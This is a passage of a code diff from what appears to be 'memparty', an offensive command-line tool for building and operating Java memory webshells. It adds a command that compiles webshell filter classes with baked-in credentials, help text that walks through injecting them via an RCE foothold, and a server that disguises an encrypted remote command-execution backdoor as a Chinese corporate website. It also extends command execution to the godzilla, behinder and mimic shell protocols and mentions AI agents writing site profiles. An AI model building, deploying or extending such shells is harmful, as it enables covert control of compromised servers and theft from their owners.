createdAt: (/* @__PURE__ */ new Date()).toISOString(),
|
|
2799
|
+
profile: input3.profile.name,
|
|
2800
|
+
server: result.server,
|
|
2801
|
+
shellType: result.shellType,
|
|
2802
|
+
urlPattern: result.urlPattern,
|
|
2803
|
+
packer: result.packer,
|
|
2804
|
+
className: result.fullClassName,
|
|
2805
|
+
injectorClassName: result.injectorClassName,
|
|
2806
|
+
pass: result.pass,
|
|
2807
|
+
key: result.secret,
|
|
2808
|
+
cipher: result.cipher,
|
|
2809
|
+
note: "pass/key/cipher are baked into the filter class. Editing the profile's cipher section afterwards desynchronizes client and server \u2014 rebuild and re-inject.",
|
|
2810
|
+
connect: `memparty connect -u <shell-url> -t mimic --profile ${input3.profile.name} --pass ${result.pass} --key ${result.secret}`,
|
|
2811
|
+
files: result.files
|
|
2812
|
+
};
|
|
2813
|
+
writeFileSync3(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
|
|
2814
|
+
`, "utf8");
|
|
2815
|
+
return result;
|
|
2816
|
+
}
|
|
2817
|
+
|
|
2818
|
+
// src/commands/custom.ts
|
|
2819
|
+
function registerCustomCommand(program) {
|
|
2820
|
+
program.command("custom").description("Custom (mimic) memory shells built from a site profile").addCommand(
|
|
2821
|
+
new Command2("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
|
|
2822
|
+
"after",
|
|
2823
|
+
`
|
|
2824
|
+
The full loop (see docs/mimic-memshell-guide.md):
|
|
2825
|
+
1. write a site profile memparty profile init acme --site https://acme.cn
|
|
2826
|
+
2. build the shell memparty custom build --profile acme --server Tomcat
|
|
2827
|
+
3. inject payload-*.txt via your foothold (RCE / existing shell / upload)
|
|
2828
|
+
4. connect + exec memparty connect -u <url> -t mimic --profile acme ...
|
|
2829
|
+
|
|
2830
|
+
Delivery is NOT part of this command \u2014 it only builds the payload.
|
|
2831
|
+
Requires a JDK (javac on PATH) and a MemShellParty backend (--api).
|
|
2832
|
+
`
|
|
2833
|
+
).action(async (opts, cmd) => {
|
|
2834
|
+
const globals = cmd.optsWithGlobals();
|
|
2835
|
+
const fail = (message) => {
|
|
2836
|
+
reportError(message, opts.json ? ["--json"] : []);
|
|
2837
|
+
process.exitCode = 1;
|
|
2838
|
+
};
|
|
2839
|
+
let profile;
|
|
2840
|
+
try {
|
|
2841
|
+
profile = loadProfile(opts.profile);
|
|
2842
|
+
} catch (err) {
|
|
2843
|
+
fail(err instanceof Error ? err.message : String(err));
|
|
2844
|
+
return;
|
|
2845
|
+
}
|
|
2846
|
+
const pass = opts.pass ?? randomString(10);
|
|
2847
|
+
const secret = opts.key ?? randomString(16);
|
|
2848
|
+
const outDir = opts.out ?? `${opts.profile}-build`;
|
|
2849
|
+
const client = createClient(globals);
|
|
2850
|
+
const started = Date.now();
|
|
2851
|
+
try {
|
|
2852
|
+
const result = await buildCustomMemshell(
|
|
2853
|
+
{
|
|
2854
|
+
profile,
|
|
2855
|
+
server: opts.server,
|
|
2856
|
+
shellType: opts.type,
|
|
2857
|
+
pass,
|
|
2858
|
+
secret,
|
|
2859
|
+
urlPattern: opts.urlPattern,
|
|
2860
|
+
packer: opts.packer,
|
|
2861
|
+
jdk: opts.jdk,
|
|
2862
|
+
outDir
|
|
2863
|
+
},
|
|
2864
|
+
client
|
|
2865
|
+
);
|
|
2866
|
+
logOp({
|
|
2867
|
+
category: "gen",
|
|
2868
|
+
action: "custom-build",
|
|
2869
|
+
ok: true,
|
|
2870
|
+
durationMs: Date.now() - started,
|
|
2871
|
+
detail: `${result.fullClassName} -> ${result.injectorClassName} (${result.server}/${result.shellType})`,
|
|
2872
|
+
meta: {
|
|
2873
|
+
profile: profile.name,
|
|
2874
|
+
server: result.server,
|
|
2875
|
+
shellType: result.shellType,
|
|
2876
|
+
packer: result.packer
|
|
2877
|
+
}
|
|
2878
|
+
});
|
|
2879
|
+
if (opts.json) {
|
|
2880
|
+
const { response: _response, ...summary } = result;
|
|
2881
|
+
process.stdout.write(`${JSON.stringify({ ok: true, ...summary }, null, 2)}
|
|
2882
|
+
`);
|
|
2883
|
+
return;
|
|
2884
|
+
}
|
|
2885
|
+
logInfo(`filter class: ${result.fullClassName}`);
|
|
2886
|
+
logInfo(
|
|
2887
|
+
`injector class: ${result.injectorClassName} (server=${result.server}, type=${result.shellType})`
|
|
2888
|
+
);
|
|
2889
|
+
logInfo(`credentials: --pass ${result.pass} --key ${result.secret}`);
|
|
2890
|
+
logInfo(`cipher: ${JSON.stringify(result.cipher)}`);
|
|
2891
|
+
for (const [name, file] of Object.entries(result.files.payloads)) {
|
|
2892
|
+
logInfo(`payload [${name}]: ${file}`);
|
|
2893
|
+
}
|
|
2894
|
+
logInfo(`manifest: ${result.files.manifest}`);
|
|
2895
|
+
process.stdout.write(
|
|
2896
|
+
`
|
|
2897
|
+
next steps:
|
|
2898
|
+
1. inject the payload via your foothold (RCE defineClass / existing shell / upload)
|
|
2899
|
+
2. memparty connect -u <shell-url> -t mimic --profile ${profile.name} --pass ${result.pass} --key ${result.secret}
|
|
2900
|
+
3. memparty exec <host>/mimic --cmd "id"
|
|
2901
|
+
`
|
|
2902
|
+
);
|
|
2903
|
+
} catch (err) {
|
|
2904
|
+
logOp({
|
|
2905
|
+
category: "gen",
|
|
2906
|
+
action: "custom-build",
|
|
2907
|
+
ok: false,
|
|
2908
|
+
durationMs: Date.now() - started,
|
|
2909
|
+
error: err instanceof Error ? err.message : String(err),
|
|
2910
|
+
meta: { profile: profile.name, server: opts.server }
|
|
2911
|
+
});
|
|
2912
|
+
fail(err instanceof Error ? err.message : String(err));
|
|
2913
|
+
}
|
|
2914
|
+
})
|
|
2915
|
+
);
|
|
2916
|
+
}
|
|
2917
|
+
|
|
2918
|
+
// src/connect/mimic-server.ts
|
|
2919
|
+
import { exec } from "child_process";
|
|
2920
|
+
import http2 from "http";
|
|
2921
|
+
function tryDecrypt(b64, aesKey, cipher = resolveCipher()) {
|
|
2922
|
+
try {
|
|
2923
|
+
return decryptField2(b64, aesKey, cipher);
|
|
2924
|
+
} catch {
|
|
2925
|
+
return null;
|
|
2926
|
+
}
|
|
2927
|
+
}
|
|
2928
|
+
var SITE_TITLE = "\u4E91\u67A2\u79D1\u6280 - \u4F01\u4E1A\u6570\u5B57\u5316\u670D\u52A1\u5546";
|
|
2929
|
+
var NAV = `<nav><a href="/">\u9996\u9875</a> <a href="/products/">\u4EA7\u54C1\u4E2D\u5FC3</a> <a href="/news/">\u65B0\u95FB\u52A8\u6001</a> <a href="/about/">\u5173\u4E8E\u6211\u4EEC</a></nav>`;
|
|
2930
|
+
var PAGES = {
|
|
2931
|
+
"/": `<!DOCTYPE html>
|
|
2932
|
+
<html lang="zh-CN">
|
|
2933
|
+
<head>
|
|
2934
|
+
<meta charset="UTF-8">
|
|
2935
|
+
<title>${SITE_TITLE}</title>
|
|
2936
|
+
</head>
|
|
2937
|
+
<body>
|
|
2938
|
+
<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
|
|
2939
|
+
<main>
|
|
2940
|
+
<h2>\u8BA9\u4F01\u4E1A\u6570\u636E\u6D41\u52A8\u8D77\u6765</h2>
|
|
2941
|
+
<p>\u4E91\u67A2\u79D1\u6280\u4E3A\u4E2D\u578B\u4F01\u4E1A\u63D0\u4F9B\u6570\u636E\u96C6\u6210\u3001\u62A5\u8868\u53EF\u89C6\u5316\u4E0E\u6D41\u7A0B\u81EA\u52A8\u5316\u670D\u52A1\u3002</p>
|
|
2942
|
+
<ul>
|
|
2943
|
+
<li><a href="/products/yunetl.html">\u4E91\u67A2 ETL \u5E73\u53F0</a></li>
|
|
2944
|
+
<li><a href="/products/yunbi.html">\u4E91\u67A2 BI \u62A5\u8868</a></li>
|
|
2945
|
+
<li><a href="/news/2024/release-notes.html">2024 \u4EA7\u54C1\u53D1\u5E03\u8BF4\u660E</a></li>
|
|
2946
|
+
</ul>
|
|
2947
|
+
</main>
|
|
2948
|
+
<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280 \u4EACICP\u59072024000000\u53F7</footer>
|
|
2949
|
+
</body>
|
|
2950
|
+
</html>`,
|
|
2951
|
+
"/products/": `<!DOCTYPE html>
|
|
2952
|
+
<html lang="zh-CN">
|
|
2953
|
+
<head>
|
|
2954
|
+
<meta charset="UTF-8">
|
|
2955
|
+
<title>\u4EA7\u54C1\u4E2D\u5FC3 - \u4E91\u67A2\u79D1\u6280</title>
|
|
2956
|
+
</head>
|
|
2957
|
+
<body>
|
|
2958
|
+
<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
|
|
2959
|
+
<main><h2>\u4EA7\u54C1\u4E2D\u5FC3</h2><p>ETL / BI / \u6D41\u7A0B\u81EA\u52A8\u5316\u4E09\u5927\u4EA7\u54C1\u7EBF\u3002</p></main>
|
|
2960
|
+
<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
|
|
2961
|
+
</body>
|
|
2962
|
+
</html>`,
|
|
2963
|
+
"/news/": `<!DOCTYPE html>
|
|
2964
|
+
<html lang="zh-CN">
|
|
2965
|
+
<head>
|
|
2966
|
+
<meta charset="UTF-8">
|
|
2967
|
+
<title>\u65B0\u95FB\u52A8\u6001 - \u4E91\u67A2\u79D1\u6280</title>
|
|
2968
|
+
</head>
|
|
2969
|
+
<body>
|
|
2970
|
+
<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
|
|
2971
|
+
<main><h2>\u65B0\u95FB\u52A8\u6001</h2><p>\u4E91\u67A2 ETL 3.2 \u53D1\u5E03\uFF0C\u65B0\u589E\u5B9E\u65F6\u540C\u6B65\u901A\u9053\u3002</p></main>
|
|
2972
|
+
<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
|
|
2973
|
+
</body>
|
|
2974
|
+
</html>`
|
|
2975
|
+
};
|
|
2976
|
+
var NOT_FOUND = `<!DOCTYPE html>
|
|
2977
|
+
<html lang="zh-CN">
|
|
2978
|
+
<head>
|
|
2979
|
+
<meta charset="UTF-8">
|
|
2980
|
+
<title>\u9875\u9762\u4E0D\u5B58\u5728 - \u4E91\u67A2\u79D1\u6280</title>
|
|
2981
|
+
</head>
|
|
2982
|
+
<body>
|
|
2983
|
+
<header><h1>\u4E91\u67A2\u79D1\u6280</h1>${NAV}</header>
|
|
2984
|
+
<main><h2>404</h2><p>\u60A8\u8BBF\u95EE\u7684\u9875\u9762\u4E0D\u5B58\u5728\u3002</p></main>
|
|
2985
|
+
<footer>\xA9 2024 \u4E91\u67A2\u79D1\u6280</footer>
|
|
2986
|
+
</body>
|
|
2987
|
+
</html>`;
|
|
2988
|
+
var MOCK_HOMEPAGE = PAGES["/"];
|
|
2989
|
+
function runCommand(command, timeoutMs) {
|
|
2990
|
+
return new Promise((resolve2) => {
|
|
2991
|
+
exec(command, { timeout: timeoutMs, windowsHide: true }, (err, stdout, stderr) => {
|
|
2992
|
+
if (err && !stdout && !stderr) {
|
|
2993
|
+
resolve2(`command failed: ${err.message}`);
|
|
2994
|
+
return;
|
|
2995
|
+
}
|
|
2996
|
+
resolve2(stdout + stderr);
|
|
2997
|
+
});
|
|
2998
|
+
});
|
|
2999
|
+
}
|
|
3000
|
+
async function startMimicServer(options = {}) {
|
|
3001
|
+
const pass = options.pass ?? "pass";
|
|
3002
|
+
const secretKey = options.secretKey ?? "key";
|
|
3003
|
+
const cipher = resolveCipher(options.cipher);
|
|
3004
|
+
const aesKey = deriveAesKey(secretKey);
|
|
3005
|
+
const markers = deriveMarkers(pass, secretKey, cipher);
|
|
3006
|
+
const execTimeoutMs = options.execTimeoutMs ?? 5e3;
|
|
3007
|
+
const skin = PAGES["/"];
|
|
3008
|
+
const server = http2.createServer((req, res) => {
|
|
3009
|
+
if (req.method === "POST") {
|
|
3010
|
+
const chunks = [];
|
|
3011
|
+
req.on("data", (c) => chunks.push(c));
|
|
3012
|
+
req.on("end", () => {
|
|
3013
|
+
let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey, cipher);
|
|
3014
|
+
if (command === null) {
|
|
3015
|
+
const query = new URL(req.url ?? "/", "http://x").searchParams.get(pass);
|
|
3016
|
+
if (query) command = tryDecrypt(query, aesKey, cipher);
|
|
3017
|
+
}
|
|
3018
|
+
if (command === null) {
|
|
3019
|
+
const header = req.headers[pass.toLowerCase()];
|
|
3020
|
+
if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
|
|
3021
|
+
}
|
|
3022
|
+
if (command === null) {
|
|
3023
|
+
res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
|
|
3024
|
+
res.end(NOT_FOUND);
|
|
3025
|
+
return;
|
|
3026
|
+
}
|
|
3027
|
+
void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
|
|
3028
|
+
const b64 = encryptField2(Buffer.from(output, "utf8"), aesKey, cipher);
|
|
3029
|
+
res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
|
|
3030
|
+
res.end(injectFragment(skin, markers.wrap(b64)));
|
|
3031
|
+
});
|
|
3032
|
+
});
|
|
3033
|
+
return;
|
|
3034
|
+
}
|
|
3035
|
+
const page = PAGES[req.url ?? "/"] ?? NOT_FOUND;
|
|
3036
|
+
res.writeHead(PAGES[req.url ?? "/"] ? 200 : 404, {
|
|
3037
|
+
"Content-Type": "text/html; charset=utf-8"
|
|
3038
|
+
});
|
|
3039
|
+
res.end(page);
|
|
3040
|
+
});
|
|
3041
|
+
await new Promise((resolve2) => server.listen(0, "127.0.0.1", resolve2));
|
|
3042
|
+
const { port } = server.address();
|
|
3043
|
+
return {
|
|
3044
|
+
url: `http://127.0.0.1:${port}/`,
|
|
3045
|
+
port,
|
|
3046
|
+
close: () => new Promise((resolve2) => server.close(() => resolve2()))
|
|
3047
|
+
};
|
|
3048
|
+
}
|
|
3049
|
+
|
|
3050
|
+
// src/commands/demo.ts
|
|
3051
|
+
function demoProfile(site) {
|
|
3052
|
+
return {
|
|
3053
|
+
name: "demo",
|
|
3054
|
+
site,
|
|
3055
|
+
createdAt: (/* @__PURE__ */ new Date()).toISOString(),
|
|
3056
|
+
templates: [
|
|
3057
|
+
{
|
|
3058
|
+
title: "\u4E91\u67A2\u79D1\u6280 - \u4F01\u4E1A\u6570\u5B57\u5316\u670D\u52A1\u5546",
|
|
3059
|
+
template: MOCK_HOMEPAGE,
|
|
3060
|
+
contentType: "text/html; charset=utf-8"
|
|
3061
|
+
}
|
|
3062
|
+
],
|
|
3063
|
+
paths: ["/products/", "/news/", "/about/"]
|
|
3064
|
+
};
|
|
3065
|
+
}
|
|
3066
|
+
function registerDemoCommand(program) {
|
|
3067
|
+
program.command("demo").description(
|
|
3068
|
+
"Run the mimic protocol end-to-end locally: fake business site + profile + connect + one exec (no external traffic)"
|
|
3069
|
+
).option("--cmd <command>", "command to execute on the fake target", "whoami").option("--json", "output raw JSON").addHelpText(
|
|
3070
|
+
"after",
|
|
3071
|
+
`
|
|
3072
|
+
This is the reference walk-through for the mimic plugin:
|
|
3073
|
+
1. starts a fake business site on 127.0.0.1 (a mimic shell hides in it)
|
|
3074
|
+
2. loads a hand-written site profile (in real engagements the operator
|
|
3075
|
+
or AI agent writes it \u2014 see 'memparty profile init')
|
|
3076
|
+
3. 'connect' does a credential round-trip using a dynamic path
|
|
3077
|
+
4. 'exec' runs --cmd through the same channel
|
|
3078
|
+
Watch the printed request URL in step 3/4: it changes every run.
|
|
3079
|
+
`
|
|
3080
|
+
).action(async (opts, cmd) => {
|
|
3081
|
+
const globals = cmd.optsWithGlobals();
|
|
3082
|
+
const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
|
|
3083
|
+
const log = (line) => {
|
|
3084
|
+
if (!opts.json) process.stdout.write(`${line}
|
|
3085
|
+
`);
|
|
3086
|
+
};
|
|
3087
|
+
const server = await startMimicServer();
|
|
3088
|
+
try {
|
|
3089
|
+
log(`[1/4] fake business site up at ${server.url}`);
|
|
3090
|
+
const profile = demoProfile(server.url.replace(/\/+$/, ""));
|
|
3091
|
+
saveProfile(profile);
|
|
3092
|
+
log(
|
|
3093
|
+
`[2/4] profile 'demo' loaded: title=${JSON.stringify(profile.templates[0].title)}, paths=[${profile.paths.join(", ")}], templates=${profile.templates.length}`
|
|
3094
|
+
);
|
|
3095
|
+
const protocol = getProtocol("mimic");
|
|
3096
|
+
const conn = {
|
|
3097
|
+
url: server.url,
|
|
3098
|
+
tool: "mimic",
|
|
3099
|
+
pass: "pass",
|
|
3100
|
+
key: "key",
|
|
3101
|
+
extraHeaders: {},
|
|
3102
|
+
profile: "demo"
|
|
3103
|
+
};
|
|
3104
|
+
const common = { timeoutMs };
|
|
3105
|
+
const options = { profile: "demo", dynamicPath: true };
|
|
3106
|
+
const test = await protocol.test({ conn, common, options });
|
|
3107
|
+
if (!test.ok) throw new Error(`connect failed: ${test.error}`);
|
|
3108
|
+
log(`[3/4] connect ok \u2014 ${test.detail}`);
|
|
3109
|
+
const result = await protocol.exec({ conn, common, options }, opts.cmd);
|
|
3110
|
+
if (!result.ok) throw new Error(`exec failed: ${result.error}`);
|
|
3111
|
+
log(`[4/4] exec ok \u2014 ${JSON.stringify(opts.cmd)} output:`);
|
|
3112
|
+
if (opts.json) {
|
|
3113
|
+
process.stdout.write(
|
|
3114
|
+
`${JSON.stringify({ ok: true, profile, test, exec: result }, null, 2)}
|
|
3115
|
+
`
|
|
3116
|
+
);
|
|
3117
|
+
} else {
|
|
3118
|
+
process.stdout.write(`${result.output ?? ""}`);
|
|
3119
|
+
if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
|
|
3120
|
+
}
|
|
3121
|
+
} catch (err) {
|
|
3122
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
3123
|
+
process.exitCode = 1;
|
|
3124
|
+
} finally {
|
|
3125
|
+
await server.close();
|
|
3126
|
+
}
|
|
3127
|
+
});
|
|
3128
|
+
}
|
|
3129
|
+
|
|
1880
3130
|
// src/commands/exec.ts
|
|
1881
3131
|
import { Option as Option2 } from "commander";
|
|
1882
3132
|
function parseExtraHeaders2(lines) {
|
|
@@ -1892,10 +3142,10 @@ function parseExtraHeaders2(lines) {
|
|
|
1892
3142
|
}
|
|
1893
3143
|
function registerExecCommand(program) {
|
|
1894
3144
|
program.command("exec").description(
|
|
1895
|
-
"Execute a command on a deployed webshell
|
|
3145
|
+
"Execute a command on a deployed webshell and print its output"
|
|
1896
3146
|
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
1897
|
-
new Option2("-t, --tool <tool>", "shell
|
|
1898
|
-
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key
|
|
3147
|
+
new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
|
|
3148
|
+
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").addOption(
|
|
1899
3149
|
new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
|
|
1900
3150
|
).option(
|
|
1901
3151
|
"--header-name <name>",
|
|
@@ -1903,7 +3153,7 @@ function registerExecCommand(program) {
|
|
|
1903
3153
|
).option(
|
|
1904
3154
|
"--header-value <value>",
|
|
1905
3155
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
1906
|
-
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
3156
|
+
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
1907
3157
|
"after",
|
|
1908
3158
|
`
|
|
1909
3159
|
Examples:
|
|
@@ -1932,7 +3182,8 @@ the OS inside its payload, so --os does not apply.
|
|
|
1932
3182
|
headerName: opts.headerName,
|
|
1933
3183
|
headerValue: opts.headerValue,
|
|
1934
3184
|
extraHeaders: parseExtraHeaders2(opts.header),
|
|
1935
|
-
insecure: opts.insecure
|
|
3185
|
+
insecure: opts.insecure,
|
|
3186
|
+
profile: opts.profile
|
|
1936
3187
|
});
|
|
1937
3188
|
} catch (err) {
|
|
1938
3189
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -1947,28 +3198,23 @@ the OS inside its payload, so --os does not apply.
|
|
|
1947
3198
|
insecure: conn.insecure
|
|
1948
3199
|
};
|
|
1949
3200
|
let result;
|
|
1950
|
-
|
|
1951
|
-
|
|
1952
|
-
|
|
1953
|
-
|
|
1954
|
-
conn.url,
|
|
1955
|
-
conn.pass ?? "pass",
|
|
1956
|
-
conn.key ?? "key",
|
|
1957
|
-
opts.cmd,
|
|
1958
|
-
gdzOpts
|
|
1959
|
-
);
|
|
1960
|
-
break;
|
|
1961
|
-
}
|
|
1962
|
-
case "behinder":
|
|
1963
|
-
result = await execBehinder(conn.url, conn.pass ?? "rebeyond", opts.cmd, common);
|
|
1964
|
-
break;
|
|
1965
|
-
default:
|
|
1966
|
-
process.stderr.write(
|
|
1967
|
-
`Error: exec supports godzilla | behinder (got ${String(conn.tool)})
|
|
1968
|
-
`
|
|
1969
|
-
);
|
|
3201
|
+
try {
|
|
3202
|
+
const protocol = requireProtocol(conn.tool);
|
|
3203
|
+
if (!protocol.exec) {
|
|
3204
|
+
reportError(unsupportedMessage(protocol, "exec"), opts.json ? ["--json"] : []);
|
|
1970
3205
|
process.exitCode = 1;
|
|
1971
3206
|
return;
|
|
3207
|
+
}
|
|
3208
|
+
const options = {
|
|
3209
|
+
os: opts.os,
|
|
3210
|
+
profile: conn.profile,
|
|
3211
|
+
dynamicPath: opts.dynamicPath
|
|
3212
|
+
};
|
|
3213
|
+
result = await protocol.exec({ conn, common, options }, opts.cmd);
|
|
3214
|
+
} catch (err) {
|
|
3215
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
3216
|
+
process.exitCode = 1;
|
|
3217
|
+
return;
|
|
1972
3218
|
}
|
|
1973
3219
|
let savedAs;
|
|
1974
3220
|
if (result.ok && conn.targetName === void 0 && opts.save !== false) {
|
|
@@ -2008,11 +3254,11 @@ the OS inside its payload, so --os does not apply.
|
|
|
2008
3254
|
}
|
|
2009
3255
|
|
|
2010
3256
|
// src/commands/gen.ts
|
|
2011
|
-
import { readFileSync as
|
|
3257
|
+
import { readFileSync as readFileSync7 } from "fs";
|
|
2012
3258
|
import { Option as Option3 } from "commander";
|
|
2013
3259
|
|
|
2014
3260
|
// src/core/output.ts
|
|
2015
|
-
import { writeFileSync as
|
|
3261
|
+
import { writeFileSync as writeFileSync4 } from "fs";
|
|
2016
3262
|
var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
|
|
2017
3263
|
function hasBinaryExtension(path) {
|
|
2018
3264
|
const lower = path.toLowerCase();
|
|
@@ -2024,7 +3270,7 @@ function shouldDecode(opts) {
|
|
|
2024
3270
|
return false;
|
|
2025
3271
|
}
|
|
2026
3272
|
function emitPayload(payload, opts, sinks = {}) {
|
|
2027
|
-
const writeFile = sinks.writeFile ?? ((p, d) =>
|
|
3273
|
+
const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync4(p, d));
|
|
2028
3274
|
const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
|
|
2029
3275
|
const decoded = shouldDecode(opts);
|
|
2030
3276
|
if (opts.outFile) {
|
|
@@ -2047,32 +3293,7 @@ function emitPayload(payload, opts, sinks = {}) {
|
|
|
2047
3293
|
}
|
|
2048
3294
|
|
|
2049
3295
|
// src/core/request-builder.ts
|
|
2050
|
-
import { randomInt } from "crypto";
|
|
2051
|
-
|
|
2052
|
-
// src/core/jdk.ts
|
|
2053
|
-
var JDK_VERSIONS = {
|
|
2054
|
-
java6: 50,
|
|
2055
|
-
java8: 52,
|
|
2056
|
-
java9: 53,
|
|
2057
|
-
java11: 55,
|
|
2058
|
-
java17: 61,
|
|
2059
|
-
java21: 65
|
|
2060
|
-
};
|
|
2061
|
-
function resolveJreVersion(input3) {
|
|
2062
|
-
if (input3 === void 0 || input3 === "") return void 0;
|
|
2063
|
-
if (typeof input3 === "number") return input3;
|
|
2064
|
-
const normalized = input3.trim().toLowerCase();
|
|
2065
|
-
if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];
|
|
2066
|
-
const withPrefix = `java${normalized}`;
|
|
2067
|
-
if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];
|
|
2068
|
-
const num = Number(normalized);
|
|
2069
|
-
if (Number.isInteger(num) && num > 0) return num;
|
|
2070
|
-
throw new Error(
|
|
2071
|
-
`Invalid JDK version "${input3}". Use one of: ${Object.keys(JDK_VERSIONS).join(", ")}, or a class-file major version like 52.`
|
|
2072
|
-
);
|
|
2073
|
-
}
|
|
2074
|
-
|
|
2075
|
-
// src/core/request-builder.ts
|
|
3296
|
+
import { randomInt as randomInt3 } from "crypto";
|
|
2076
3297
|
var SPRING_GZIP_JDK17_RELATED_PACKERS = /* @__PURE__ */ new Set([
|
|
2077
3298
|
"SpEL",
|
|
2078
3299
|
"SpELSpringGzipJDK17",
|
|
@@ -2084,7 +3305,7 @@ var SPRING_GZIP_JDK17_RELATED_PACKERS = /* @__PURE__ */ new Set([
|
|
|
2084
3305
|
var UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|
2085
3306
|
var CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
|
2086
3307
|
function randomChar(chars) {
|
|
2087
|
-
return chars[
|
|
3308
|
+
return chars[randomInt3(chars.length)];
|
|
2088
3309
|
}
|
|
2089
3310
|
function generateSpringExpressionInjectorClassName() {
|
|
2090
3311
|
const randomName = Array.from({ length: 5 }, () => randomChar(CLASS_NAME_LETTERS)).join("");
|
|
@@ -2153,7 +3374,7 @@ function buildProbeRequest(opts) {
|
|
|
2153
3374
|
}
|
|
2154
3375
|
|
|
2155
3376
|
// src/wizard/memshell-wizard.ts
|
|
2156
|
-
import { readFileSync as
|
|
3377
|
+
import { readFileSync as readFileSync6 } from "fs";
|
|
2157
3378
|
import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
|
|
2158
3379
|
var JDK_CHOICES = [
|
|
2159
3380
|
{ name: "server default", value: "" },
|
|
@@ -2221,7 +3442,7 @@ async function runMemShellWizard(client) {
|
|
|
2221
3442
|
}
|
|
2222
3443
|
case "Custom": {
|
|
2223
3444
|
const file = await input({ message: "Path to custom .class file" });
|
|
2224
|
-
opts.shellClassBase64 =
|
|
3445
|
+
opts.shellClassBase64 = readFileSync6(file).toString("base64");
|
|
2225
3446
|
break;
|
|
2226
3447
|
}
|
|
2227
3448
|
default:
|
|
@@ -2262,7 +3483,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
|
|
|
2262
3483
|
function toOptions(o) {
|
|
2263
3484
|
let shellClassBase64 = o.shellClassBase64;
|
|
2264
3485
|
if (o.shellClassFile) {
|
|
2265
|
-
shellClassBase64 =
|
|
3486
|
+
shellClassBase64 = readFileSync7(o.shellClassFile).toString("base64");
|
|
2266
3487
|
}
|
|
2267
3488
|
return {
|
|
2268
3489
|
server: o.server,
|
|
@@ -2446,12 +3667,12 @@ Examples:
|
|
|
2446
3667
|
// src/mcp/server.ts
|
|
2447
3668
|
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
2448
3669
|
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
|
|
2449
|
-
import { writeFileSync as
|
|
3670
|
+
import { writeFileSync as writeFileSync5 } from "fs";
|
|
2450
3671
|
import { z } from "zod";
|
|
2451
3672
|
|
|
2452
3673
|
// src/core/localfile.ts
|
|
2453
|
-
import { existsSync as
|
|
2454
|
-
import { dirname as dirname3, join as
|
|
3674
|
+
import { existsSync as existsSync5, readFileSync as readFileSync8, statSync } from "fs";
|
|
3675
|
+
import { dirname as dirname3, join as join6, resolve } from "path";
|
|
2455
3676
|
var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
|
|
2456
3677
|
function remoteBasename(remotePath) {
|
|
2457
3678
|
const trimmed = remotePath.replace(/[/\\]+$/, "");
|
|
@@ -2468,18 +3689,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
|
|
|
2468
3689
|
);
|
|
2469
3690
|
}
|
|
2470
3691
|
target = name;
|
|
2471
|
-
} else if (
|
|
3692
|
+
} else if (existsSync5(localArg) && statSync(localArg).isDirectory()) {
|
|
2472
3693
|
if (!name) {
|
|
2473
3694
|
throw new Error(
|
|
2474
3695
|
